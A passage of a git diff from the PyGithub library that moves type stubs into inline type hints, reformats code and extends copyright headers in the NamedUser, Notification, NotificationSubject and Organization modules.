github.GithubObject.NotSet - self._location = github.GithubObject.NotSet - self._login = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._organizations_url = github.GithubObject.NotSet - self._owned_private_repos = github.GithubObject.NotSet - self._permissions = github.GithubObject.NotSet - self._plan = github.GithubObject.NotSet - self._private_gists = github.GithubObject.NotSet - self._public_gists = github.GithubObject.NotSet - self._public_repos = github.GithubObject.NotSet - self._received_events_url = github.GithubObject.NotSet - self._repos_url = github.GithubObject.NotSet - self._role = github.GithubObject.NotSet - self._site_admin = github.GithubObject.NotSet - self._starred_url = github.GithubObject.NotSet - self._subscriptions_url = github.GithubObject.NotSet - self._suspended_at = github.GithubObject.NotSet - self._team_count = github.GithubObject.NotSet - self._total_private_repos = github.GithubObject.NotSet - self._twitter_username = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "avatar_url" in attributes: # pragma no branch self._avatar_url = self._makeStringAttribute(attributes["avatar_url"]) if "bio" in attributes: # pragma no branch @@ -732,13 +568,9 @@ def _useAttributes(self, attributes): if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "invitation_teams_url" in attributes: # pragma no branch - self._invitation_teams_url = self._makeStringAttribute( - attributes["invitation_teams_url"] - ) + self._invitation_teams_url = self._makeStringAttribute(attributes["invitation_teams_url"]) if "inviter" in attributes: # pragma no branch - self._inviter = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["inviter"] - ) + self._inviter = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["inviter"]) if "location" in attributes: # pragma no branch self._location = self._makeStringAttribute(attributes["location"]) if "login" in attributes: # pragma no branch @@ -748,17 +580,11 @@ def _useAttributes(self, attributes): if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "organizations_url" in attributes: # pragma no branch - self._organizations_url = self._makeStringAttribute( - attributes["organizations_url"] - ) + self._organizations_url = self._makeStringAttribute(attributes["organizations_url"]) if "owned_private_repos" in attributes: # pragma no branch - self._owned_private_repos = self._makeIntAttribute( - attributes["owned_private_repos"] - ) + self._owned_private_repos = self._makeIntAttribute(attributes["owned_private_repos"]) if "permissions" in attributes: # pragma no branch - self._permissions = self._makeClassAttribute( - github.Permissions.Permissions, attributes["permissions"] - ) + self._permissions = self._makeClassAttribute(github.Permissions.Permissions, attributes["permissions"]) if "plan" in attributes: # pragma no branch self._plan = self._makeClassAttribute(github.Plan.Plan, attributes["plan"]) if "private_gists" in attributes: # pragma no branch @@ -768,9 +594,7 @@ def _useAttributes(self, attributes): if "public_repos" in attributes: # pragma no branch self._public_repos = self._makeIntAttribute(attributes["public_repos"]) if "received_events_url" in attributes: # pragma no branch - self._received_events_url = self._makeStringAttribute( - attributes["received_events_url"] - ) + self._received_events_url = self._makeStringAttribute(attributes["received_events_url"]) if "repos_url" in attributes: # pragma no branch self._repos_url = self._makeStringAttribute(attributes["repos_url"]) if "role" in attributes: # pragma no branch @@ -780,21 +604,15 @@ def _useAttributes(self, attributes): if "starred_url" in attributes: # pragma no branch self._starred_url = self._makeStringAttribute(attributes["starred_url"]) if "subscriptions_url" in attributes: # pragma no branch - self._subscriptions_url = self._makeStringAttribute( - attributes["subscriptions_url"] - ) + self._subscriptions_url = self._makeStringAttribute(attributes["subscriptions_url"]) if "suspended_at" in attributes: # pragma no branch self._suspended_at = self._makeDatetimeAttribute(attributes["suspended_at"]) if "team_count" in attributes: self._team_count = self._makeIntAttribute(attributes["team_count"]) if "total_private_repos" in attributes: # pragma no branch - self._total_private_repos = self._makeIntAttribute( - attributes["total_private_repos"] - ) + self._total_private_repos = self._makeIntAttribute(attributes["total_private_repos"]) if "twitter_username" in attributes: # pragma no branch - self._twitter_username = self._makeStringAttribute( - attributes["twitter_username"] - ) + self._twitter_username = self._makeStringAttribute(attributes["twitter_username"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "updated_at" in attributes: # pragma no branch diff --git a/github/NamedUser.pyi b/github/NamedUser.pyi deleted file mode 100644 index 3406295033..0000000000 --- a/github/NamedUser.pyi +++ /dev/null @@ -1,137 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Optional, Union - -from github.Event import Event -from github.Gist import Gist -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.Membership import Membership -from github.Organization import Organization -from github.PaginatedList import PaginatedList -from github.Permissions import Permissions -from github.Plan import Plan -from github.Project import Project -from github.Repository import Repository -from github.UserKey import UserKey - -class NamedUser(CompletableGithubObject): - def __eq__(self, other: Any) -> bool: ... - def __hash__(self) -> int: ... - def __repr__(self) -> str: ... - @property - def _identity(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def avatar_url(self) -> str: ... - @property - def bio(self) -> Optional[str]: ... - @property - def blog(self) -> str: ... - @property - def collaborators(self) -> Optional[int]: ... - @property - def company(self) -> str: ... - @property - def contributions(self) -> int: ... - @property - def created_at(self) -> datetime: ... - @property - def disk_usage(self) -> Optional[int]: ... - @property - def email(self) -> str: ... - @property - def events_url(self) -> str: ... - @property - def followers(self) -> int: ... - @property - def followers_url(self) -> str: ... - @property - def following(self) -> int: ... - @property - def following_url(self) -> str: ... - def get_events(self) -> PaginatedList[Event]: ... - def get_followers(self) -> PaginatedList[NamedUser]: ... - def get_following(self) -> PaginatedList[NamedUser]: ... - def get_gists( - self, since: Union[_NotSetType, datetime] = ... - ) -> PaginatedList[Gist]: ... - def get_keys(self) -> PaginatedList[UserKey]: ... - def get_organization_membership(self, org: int) -> Membership: ... - def get_orgs(self) -> PaginatedList[Organization]: ... - def get_projects(self, state: str = ...) -> PaginatedList[Project]: ... - def get_public_events(self) -> PaginatedList[Event]: ... - def get_public_received_events(self) -> PaginatedList[Event]: ... - def get_received_events(self) -> PaginatedList[Event]: ... - def get_repo(self, name: str) -> Repository: ... - def get_repos( - self, - type: Union[str, _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - ) -> PaginatedList[Repository]: ... - def get_starred(self) -> PaginatedList[Repository]: ... - def get_subscriptions(self) -> PaginatedList[Repository]: ... - def get_watched(self) -> PaginatedList[Repository]: ... - @property - def gists_url(self) -> str: ... - @property - def gravatar_id(self) -> str: ... - def has_in_following(self, following: NamedUser) -> bool: ... - @property - def hireable(self) -> bool: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def invitation_teams_url(self) -> str: ... - @property - def inviter(self) -> NamedUser: ... - @property - def location(self) -> str: ... - @property - def login(self) -> str: ... - @property - def name(self) -> Optional[str]: ... - @property - def node_id(self) -> str: ... - @property - def organizations_url(self) -> str: ... - @property - def owned_private_repos(self) -> Optional[int]: ... - @property - def permissions(self) -> Permissions: ... - @property - def plan(self) -> Optional[Plan]: ... - @property - def private_gists(self) -> Optional[int]: ... - @property - def public_gists(self) -> int: ... - @property - def public_repos(self) -> int: ... - @property - def received_events_url(self) -> str: ... - @property - def repos_url(self) -> str: ... - @property - def role(self) -> str: ... - @property - def site_admin(self) -> bool: ... - @property - def starred_url(self) -> str: ... - @property - def subscriptions_url(self) -> str: ... - @property - def suspended_at(self) -> Optional[datetime]: ... - @property - def team_count(self) -> int: ... - @property - def total_private_repos(self) -> Optional[int]: ... - @property - def twitter_username(self) -> str: ... - @property - def type(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/Notification.py b/github/Notification.py index 8ef0f04eb7..1af3cb93d5 100644 --- a/github/Notification.py +++ b/github/Notification.py @@ -7,7 +7,18 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # +# Copyright 2018 Alice GIRARD # # Copyright 2018 sfdye # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,92 +38,84 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject +import github.Issue import github.NotificationSubject +import github.PullRequest import github.Repository +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class Notification(github.GithubObject.CompletableGithubObject): +class Notification(CompletableGithubObject): """ This class represents Notifications. The reference can be found here https://docs.github.com/en/rest/reference/activity#notifications """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[str] = NotSet + self._last_read_at: Attribute[datetime] = NotSet + self._repository: Attribute[github.Repository.Repository] = NotSet + self._subject: Attribute[github.NotificationSubject.NotificationSubject] = NotSet + self._reason: Attribute[str] = NotSet + self._subscription_url: Attribute[str] = NotSet + self._unread: Attribute[bool] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "subject": self._subject.value}) @property - def id(self): - """ - :type: string - """ + def id(self) -> str: self._completeIfNotSet(self._id) return self._id.value @property - def last_read_at(self): - """ - :type: datetime.datetime - """ + def last_read_at(self) -> datetime: self._completeIfNotSet(self._last_read_at) return self._last_read_at.value @property - def repository(self): - """ - :type: :class:`github.Repository.Repository` - """ + def repository(self) -> github.Repository.Repository: self._completeIfNotSet(self._repository) return self._repository.value @property - def subject(self): - """ - :type: :class:`github.NotificationSubject.NotificationSubject` - """ + def subject(self) -> github.NotificationSubject.NotificationSubject: self._completeIfNotSet(self._subject) return self._subject.value @property - def reason(self): - """ - :type: string - """ + def reason(self) -> str: self._completeIfNotSet(self._reason) return self._reason.value @property - def subscription_url(self): - """ - :type: string - """ + def subscription_url(self) -> str: self._completeIfNotSet(self._subscription_url) return self._subscription_url.value @property - def unread(self): - """ - :type: bool - """ + def unread(self) -> bool: self._completeIfNotSet(self._unread) return self._unread.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def mark_as_read(self): + def mark_as_read(self) -> None: """ :calls: `PATCH /notifications/threads/{id} `_ """ @@ -121,41 +124,21 @@ def mark_as_read(self): self.url, ) - def get_pull_request(self): - """ - :type: :class:github.PullRequest.PullRequest - """ + def get_pull_request(self) -> github.PullRequest.PullRequest: headers, data = self._requester.requestJsonAndCheck("GET", self.subject.url) - return github.PullRequest.PullRequest( - self._requester, headers, data, completed=True - ) + return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) - def get_issue(self): - """ - :type: :class:github.Issue.Issue - """ + def get_issue(self) -> github.Issue.Issue: headers, data = self._requester.requestJsonAndCheck("GET", self.subject.url) return github.Issue.Issue(self._requester, headers, data, completed=True) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._last_read_at = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - self._reason = github.GithubObject.NotSet - self._subscription_url = github.GithubObject.NotSet - self._unread = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "last_read_at" in attributes: # pragma no branch self._last_read_at = self._makeDatetimeAttribute(attributes["last_read_at"]) if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "subject" in attributes: # pragma no branch self._subject = self._makeClassAttribute( github.NotificationSubject.NotificationSubject, attributes["subject"] @@ -163,9 +146,7 @@ def _useAttributes(self, attributes): if "reason" in attributes: # pragma no branch self._reason = self._makeStringAttribute(attributes["reason"]) if "subscription_url" in attributes: # pragma no branch - self._subscription_url = self._makeStringAttribute( - attributes["subscription_url"] - ) + self._subscription_url = self._makeStringAttribute(attributes["subscription_url"]) if "unread" in attributes: # pragma no branch self._unread = self._makeBoolAttribute(attributes["unread"]) if "updated_at" in attributes: # pragma no branch diff --git a/github/Notification.pyi b/github/Notification.pyi deleted file mode 100644 index 3f23f2872a..0000000000 --- a/github/Notification.pyi +++ /dev/null @@ -1,33 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Optional - -from github.GithubObject import CompletableGithubObject -from github.Issue import Issue -from github.NotificationSubject import NotificationSubject -from github.PullRequest import PullRequest -from github.Repository import Repository - -class Notification(CompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def id(self) -> str: ... - @property - def last_read_at(self) -> datetime: ... - def mark_as_read(self) -> None: ... - @property - def reason(self) -> str: ... - @property - def repository(self) -> Repository: ... - @property - def subject(self) -> NotificationSubject: ... - @property - def subscription_url(self) -> str: ... - @property - def unread(self) -> Optional[bool]: ... - @property - def updated_at(self) -> Optional[datetime]: ... - @property - def url(self) -> Optional[str]: ... - def get_pull_request(self) -> PullRequest: ... - def get_issue(self) -> Issue: ... diff --git a/github/NotificationSubject.py b/github/NotificationSubject.py index 9b2266de83..6296cac0ce 100644 --- a/github/NotificationSubject.py +++ b/github/NotificationSubject.py @@ -1,5 +1,7 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # @@ -7,6 +9,14 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,59 +36,48 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict -class NotificationSubject(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class NotificationSubject(NonCompletableGithubObject): """ This class represents Subjects of Notifications. The reference can be found here https://docs.github.com/en/rest/reference/activity#list-notifications-for-the-authenticated-user """ - def __repr__(self): + def _initAttributes(self) -> None: + self._title: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._latest_comment_url: Attribute[str] = NotSet + self._type: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property - def title(self): - """ - :type: string - """ + def title(self) -> str: return self._title.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value @property - def latest_comment_url(self): - """ - :type: string - """ + def latest_comment_url(self) -> str: return self._latest_comment_url.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: return self._type.value - def _initAttributes(self): - self._title = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._latest_comment_url = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "latest_comment_url" in attributes: # pragma no branch - self._latest_comment_url = self._makeStringAttribute( - attributes["latest_comment_url"] - ) + self._latest_comment_url = self._makeStringAttribute(attributes["latest_comment_url"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) diff --git a/github/NotificationSubject.pyi b/github/NotificationSubject.pyi deleted file mode 100644 index f05ff13b2e..0000000000 --- a/github/NotificationSubject.pyi +++ /dev/null @@ -1,16 +0,0 @@ -from typing import Any, Dict, Optional - -from github.GithubObject import NonCompletableGithubObject - -class NotificationSubject(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def latest_comment_url(self) -> Optional[str]: ... - @property - def title(self) -> str: ... - @property - def type(self) -> str: ... - @property - def url(self) -> Optional[str]: ... diff --git a/github/Organization.py b/github/Organization.py index 2116f723df..b5b9b1b2d8 100644 --- a/github/Organization.py +++ b/github/Organization.py @@ -12,14 +12,50 @@ # Copyright 2016 Matthew Neal # # Copyright 2016 Michael Pereira # # Copyright 2016 Peter Buckley # -# Copyright 2017 Balázs Rostás # +# Copyright 2017 Balázs Rostás # # Copyright 2018 Anton Nguyen # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Jasper van Wanrooy # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 Yossarian King # # Copyright 2018 sfdye # -# Copyright 2018 Steve Kowalik # +# Copyright 2019 Brian Choy # +# Copyright 2019 Geoffroy Jabouley # +# Copyright 2019 Pascal Bach # +# Copyright 2019 Raihaan <31362124+res0nance@users.noreply.github.com> # +# Copyright 2019 Shibasis Patel # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2019 ebrown # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Glenn McDonald # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 latacora-daniel <71085674+latacora-daniel@users.noreply.github.com># +# Copyright 2020 ton-katsu # +# Copyright 2021 James Simpson # +# Copyright 2021 Marina Peresypkina # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Felipe Peter # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Mark Amery # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Oliver Mannion <125105+tekumara@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2024 Andrii Kezikov # +# Copyright 2024 Mohamed Mostafa <112487260+mohy01@users.noreply.github.com> # +# Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># +# Copyright 2024 Thomas Cooper # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -39,12 +75,19 @@ # # ################################################################################ -import datetime +from __future__ import annotations + +import urllib.parse +from datetime import datetime +from typing import TYPE_CHECKING, Any import github.Event import github.GithubObject +import github.HookDelivery import github.NamedUser -import github.PaginatedList +import github.OrganizationDependabotAlert +import github.OrganizationSecret +import github.OrganizationVariable import github.Plan import github.Project import github.PublicKey @@ -53,408 +96,348 @@ import github.SelfHostedActionsRunner import github.SelfHostedActionsRunnerRegistrationToken import github.Team - -from . import Consts - - -class Organization(github.GithubObject.CompletableGithubObject): +from github import Consts +from github.GithubObject import ( + Attribute, + CompletableGithubObject, + NotSet, + Opt, + is_defined, + is_optional, + is_optional_list, + is_undefined, +) +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.Event import Event + from github.Hook import Hook + from github.Installation import Installation + from github.Issue import Issue + from github.Label import Label + from github.Migration import Migration + from github.NamedUser import NamedUser + from github.OrganizationDependabotAlert import OrganizationDependabotAlert + from github.OrganizationSecret import OrganizationSecret + from github.OrganizationVariable import OrganizationVariable + from github.Plan import Plan + from github.Project import Project + from github.PublicKey import PublicKey + from github.Repository import Repository + from github.SelfHostedActionsRunner import SelfHostedActionsRunner + from github.SelfHostedActionsRunnerRegistrationToken import SelfHostedActionsRunnerRegistrationToken + from github.Team import Team + + +class Organization(CompletableGithubObject): """ This class represents Organizations. The reference can be found here https://docs.github.com/en/rest/reference/orgs """ - def __repr__(self): + def _initAttributes(self) -> None: + self._default_repository_permission: Attribute[str] = NotSet + self._has_organization_projects: Attribute[bool] = NotSet + self._has_repository_projects: Attribute[bool] = NotSet + self._hooks_url: Attribute[str] = NotSet + self._issues_url: Attribute[str] = NotSet + self._members_can_create_repositories: Attribute[bool] = NotSet + self._two_factor_requirement_enabled: Attribute[bool] = NotSet + self._avatar_url: Attribute[str] = NotSet + self._billing_email: Attribute[str] = NotSet + self._blog: Attribute[str | None] = NotSet + self._collaborators: Attribute[int] = NotSet + self._company: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._description: Attribute[str] = NotSet + self._disk_usage: Attribute[int] = NotSet + self._email: Attribute[str] = NotSet + self._events_url: Attribute[str] = NotSet + self._followers: Attribute[int] = NotSet + self._following: Attribute[int] = NotSet + self._gravatar_id: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._location: Attribute[str] = NotSet + self._login: Attribute[str] = NotSet + self._members_url: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._owned_private_repos: Attribute[int] = NotSet + self._plan: Attribute[Plan] = NotSet + self._private_gists: Attribute[int] = NotSet + self._public_gists: Attribute[int] = NotSet + self._public_members_url: Attribute[str] = NotSet + self._public_repos: Attribute[int] = NotSet + self._repos_url: Attribute[str] = NotSet + self._total_private_repos: Attribute[int] = NotSet + self._type: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"login": self._login.value}) @property - def avatar_url(self): - """ - :type: string - """ + def avatar_url(self) -> str: self._completeIfNotSet(self._avatar_url) return self._avatar_url.value @property - def billing_email(self): - """ - :type: string - """ + def billing_email(self) -> str: self._completeIfNotSet(self._billing_email) return self._billing_email.value @property - def blog(self): - """ - :type: string - """ + def blog(self) -> str | None: self._completeIfNotSet(self._blog) return self._blog.value @property - def collaborators(self): - """ - :type: integer - """ + def collaborators(self) -> int: self._completeIfNotSet(self._collaborators) return self._collaborators.value @property - def company(self): - """ - :type: string - """ + def company(self) -> str | None: self._completeIfNotSet(self._company) return self._company.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def default_repository_permission(self): - """ - :type: string - """ + def default_repository_permission(self) -> str: self._completeIfNotSet(self._default_repository_permission) return self._default_repository_permission.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def disk_usage(self): - """ - :type: integer - """ + def disk_usage(self) -> int: self._completeIfNotSet(self._disk_usage) return self._disk_usage.value @property - def email(self): - """ - :type: string - """ + def email(self) -> str | None: self._completeIfNotSet(self._email) return self._email.value @property - def events_url(self): - """ - :type: string - """ + def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property - def followers(self): - """ - :type: integer - """ + def followers(self) -> int: self._completeIfNotSet(self._followers) return self._followers.value @property - def following(self): - """ - :type: integer - """ + def following(self) -> int: self._completeIfNotSet(self._following) return self._following.value @property - def gravatar_id(self): - """ - :type: string - """ + def gravatar_id(self) -> str: self._completeIfNotSet(self._gravatar_id) return self._gravatar_id.value @property - def has_organization_projects(self): - """ - :type: bool - """ + def has_organization_projects(self) -> bool: self._completeIfNotSet(self._has_organization_projects) return self._has_organization_projects.value @property - def has_repository_projects(self): - """ - :type: bool - """ + def has_repository_projects(self) -> bool: self._completeIfNotSet(self._has_repository_projects) return self._has_repository_projects.value @property - def hooks_url(self): - """ - :type: string - """ + def hooks_url(self) -> str: self._completeIfNotSet(self._hooks_url) return self._hooks_url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def issues_url(self): - """ - :type: string - """ + def issues_url(self) -> str: self._completeIfNotSet(self._issues_url) return self._issues_url.value @property - def location(self): - """ - :type: string - """ + def location(self) -> str: self._completeIfNotSet(self._location) return self._location.value @property - def login(self): - """ - :type: string - """ + def login(self) -> str: self._completeIfNotSet(self._login) return self._login.value @property - def members_can_create_repositories(self): - """ - :type: bool - """ + def members_can_create_repositories(self) -> bool: self._completeIfNotSet(self._members_can_create_repositories) return self._members_can_create_repositories.value @property - def members_url(self): - """ - :type: string - """ + def members_url(self) -> str: self._completeIfNotSet(self._members_url) return self._members_url.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str | None: self._completeIfNotSet(self._name) return self._name.value @property - def owned_private_repos(self): - """ - :type: integer - """ + def owned_private_repos(self) -> int: self._completeIfNotSet(self._owned_private_repos) return self._owned_private_repos.value @property - def plan(self): - """ - :type: :class:`github.Plan.Plan` - """ + def plan(self) -> Plan: self._completeIfNotSet(self._plan) return self._plan.value @property - def private_gists(self): - """ - :type: integer - """ + def private_gists(self) -> int: self._completeIfNotSet(self._private_gists) return self._private_gists.value @property - def public_gists(self): - """ - :type: integer - """ + def public_gists(self) -> int: self._completeIfNotSet(self._public_gists) return self._public_gists.value @property - def public_members_url(self): - """ - :type: string - """ + def public_members_url(self) -> str: self._completeIfNotSet(self._public_members_url) return self._public_members_url.value @property - def public_repos(self): - """ - :type: integer - """ + def public_repos(self) -> int: self._completeIfNotSet(self._public_repos) return self._public_repos.value @property - def repos_url(self): - """ - :type: string - """ + def repos_url(self) -> str: self._completeIfNotSet(self._repos_url) return self._repos_url.value @property - def total_private_repos(self): - """ - :type: integer - """ + def total_private_repos(self) -> int: self._completeIfNotSet(self._total_private_repos) return self._total_private_repos.value @property - def two_factor_requirement_enabled(self): - """ - :type: bool - """ + def two_factor_requirement_enabled(self) -> bool: self._completeIfNotSet(self._two_factor_requirement_enabled) return self._two_factor_requirement_enabled.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def add_to_members(self, member, role=github.GithubObject.NotSet): + def add_to_members(self, member: NamedUser, role: Opt[str] = NotSet) -> None: """ :calls: `PUT /orgs/{org}/memberships/{user} `_ - :param member: :class:`github.NamedUser.NamedUser` - :param role: string - :rtype: None """ - assert role is github.GithubObject.NotSet or isinstance(role, str), role + assert is_optional(role, str), role assert isinstance(member, github.NamedUser.NamedUser), member - put_parameters = {} - if role is not github.GithubObject.NotSet: - put_parameters["role"] = role + put_parameters = NotSet.remove_unset_items({"role": role}) headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/memberships/{member._identity}", input=put_parameters ) - def add_to_public_members(self, public_member): + def add_to_public_members(self, public_member: NamedUser) -> None: """ :calls: `PUT /orgs/{org}/public_members/{user} `_ - :param public_member: :class:`github.NamedUser.NamedUser` - :rtype: None """ assert isinstance(public_member, github.NamedUser.NamedUser), public_member headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/public_members/{public_member._identity}" ) - def create_fork(self, repo): + def create_fork( + self, + repo: Repository, + name: Opt[str] = NotSet, + default_branch_only: Opt[bool] = NotSet, + ) -> Repository: """ :calls: `POST /repos/{owner}/{repo}/forks `_ - :param repo: :class:`github.Repository.Repository` - :rtype: :class:`github.Repository.Repository` """ assert isinstance(repo, github.Repository.Repository), repo - url_parameters = { - "org": self.login, - } - headers, data = self._requester.requestJsonAndCheck( - "POST", - f"/repos/{repo.owner.login}/{repo.name}/forks", - parameters=url_parameters, - ) - return github.Repository.Repository( - self._requester, headers, data, completed=True + return repo.create_fork( + self, + name=name, + default_branch_only=default_branch_only, ) def create_repo_from_template( self, - name, - repo, - description=github.GithubObject.NotSet, - private=github.GithubObject.NotSet, - ): + name: str, + repo: Repository, + description: Opt[str] = NotSet, + include_all_branches: Opt[bool] = NotSet, + private: Opt[bool] = NotSet, + ) -> Repository: """self.name :calls: `POST /repos/{template_owner}/{template_repo}/generate `_ - :param name: string - :param repo :class:`github.Repository.Repository` - :param description: string - :param private: bool - :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name assert isinstance(repo, github.Repository.Repository), repo - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert private is github.GithubObject.NotSet or isinstance( - private, bool - ), private - post_parameters = { - "name": name, - "owner": self.login, - } - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if private is not github.GithubObject.NotSet: - post_parameters["private"] = private + assert is_optional(description, str), description + assert is_optional(include_all_branches, bool), include_all_branches + assert is_optional(private, bool), private + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "name": name, + "owner": self.login, + "description": description, + "include_all_branches": include_all_branches, + "private": private, + } + ) + headers, data = self._requester.requestJsonAndCheck( "POST", f"/repos/{repo.owner.login}/{repo.name}/generate", input=post_parameters, headers={"Accept": "application/vnd.github.v3+json"}, ) - return github.Repository.Repository( - self._requester, headers, data, completed=True - ) + return github.Repository.Repository(self._requester, headers, data, completed=True) def 